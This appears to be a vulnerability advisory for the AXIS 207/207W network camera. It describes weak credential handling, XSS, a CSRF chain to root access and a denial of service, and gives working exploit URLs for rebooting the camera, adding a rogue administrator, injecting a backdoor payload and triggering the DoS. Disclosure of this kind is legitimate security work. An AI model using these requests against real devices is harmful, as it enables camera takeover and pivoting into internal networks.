Risk Level:
High - Camera compromise leading to network compromise

Program Summary:
From the site:
The AXIS 207 offers the best image quality in its class, providing excellent image quality also in low lighting conditions.

# Superior image quality with progressive scan
# 30 frames per second in VGA resolution (640x480 pixels)
# Network security using multiple user access levels with password protection

In summary, the AXIS 207W is vulnerable to numerous attacks. Some of these are related to wireless protocol vulnerabilities, but the majority are exploitable via the web application interface included with the camera. The most significant issue is that a CSRF attack against a user logged in as an administrator can lead to root access of the Linux based operating system on the camera. As a result, the camera can be turned into an internal resource for any malicous hacker, through which custom scripts can be launched. This can include port scans, banner grabbing, buffer overflow exploits, application attacks, and more. Note that this attack vector will bypass most firewalls.

Web Application:
# Base64 'encrypted' user/pass sent as plaintext from client to user.

# Global Cross-site scripting vulnerability:

# Cross-site Request Forgery attack leads to root access on camera through which custom scripts can be executed:
1. Reboot the camera - http://1<IP>/axis-cgi/admin/restart.cgi
2. Add a new administrator - http://<IP>/axis-cgi/admin/pwdgrp.cgi?action=add&user=owner1&grp=axuser&sgrp=axview:axoper:axadmin&pwd=owner1&comment=WebUser&return_page=/admin/users_set.shtml%3Fpageclose%3D1
3. Root the camera/add a backdoor - http://<IP>/admin/restartMessage.shtml?server=<iframe%20style=visibility:hidden%20src=><iframe src=><!—

# Denial of Service attack via restricted user account:
http://<IP>/axis-cgi/buffer/command.cgi?do=start&buffername=<unique buffer name>
